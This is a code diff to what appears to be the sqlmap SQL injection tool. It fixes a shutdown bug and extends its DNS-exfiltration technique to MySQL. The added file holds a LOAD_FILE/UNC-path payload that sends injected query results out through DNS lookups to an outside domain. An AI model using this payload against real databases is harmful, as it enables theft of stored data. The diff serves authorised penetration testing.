diff --git a/lib/request/dns.py b/lib/request/dns.py
index 0fdf6a8aa..d1c931f5b 100644
--- a/lib/request/dns.py
+++ b/lib/request/dns.py
@@ -95,6 +95,7 @@ class DNSServer:
         thread.start()
 
 if __name__ == "__main__":
+    server = None
     try:
         server = DNSServer()
         server.run()
@@ -118,4 +119,6 @@ if __name__ == "__main__":
     except KeyboardInterrupt:
         os._exit(0)
     finally:
-        server._running = False
+        if server:
+            server._running = False
+
diff --git a/lib/techniques/dns/use.py b/lib/techniques/dns/use.py
index 64bb08970..cffad47bf 100644
--- a/lib/techniques/dns/use.py
+++ b/lib/techniques/dns/use.py
@@ -52,7 +52,7 @@ def dnsUse(payload, expression):
     count = 0
     offset = 1
 
-    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
+    if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE, DBMS.MYSQL):
         output = hashDBRetrieve(expression, checkConf=True)
 
         if output and PARTIAL_VALUE_MARKER in output or kb.dnsTest is None:
@@ -64,7 +64,7 @@ def dnsUse(payload, expression):
             while True:
                 count += 1
                 prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
-                chunk_length = MAX_DNS_LABEL / 2 if Backend.isDbms(DBMS.ORACLE) else MAX_DNS_LABEL / 4 - 2
+                chunk_length = MAX_DNS_LABEL / 2 if Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.MYSQL) else MAX_DNS_LABEL / 4 - 2
                 _, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
                 nulledCastedField = agent.nullAndCastField(fieldToCastStr)
                 nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
diff --git a/procs/mysql/dns_request.txt b/procs/mysql/dns_request.txt
new file mode 100644
index 000000000..051cd276f
--- /dev/null
+++ b/procs/mysql/dns_request.txt
@@ -0,0 +1 @@
+SELECT LOAD_FILE(CONCAT('\\\\%PREFIX%.',(%QUERY%),'.%SUFFIX%.%DOMAIN%\\%PREFIX%%SUFFIX%'))
\ No newline at end of file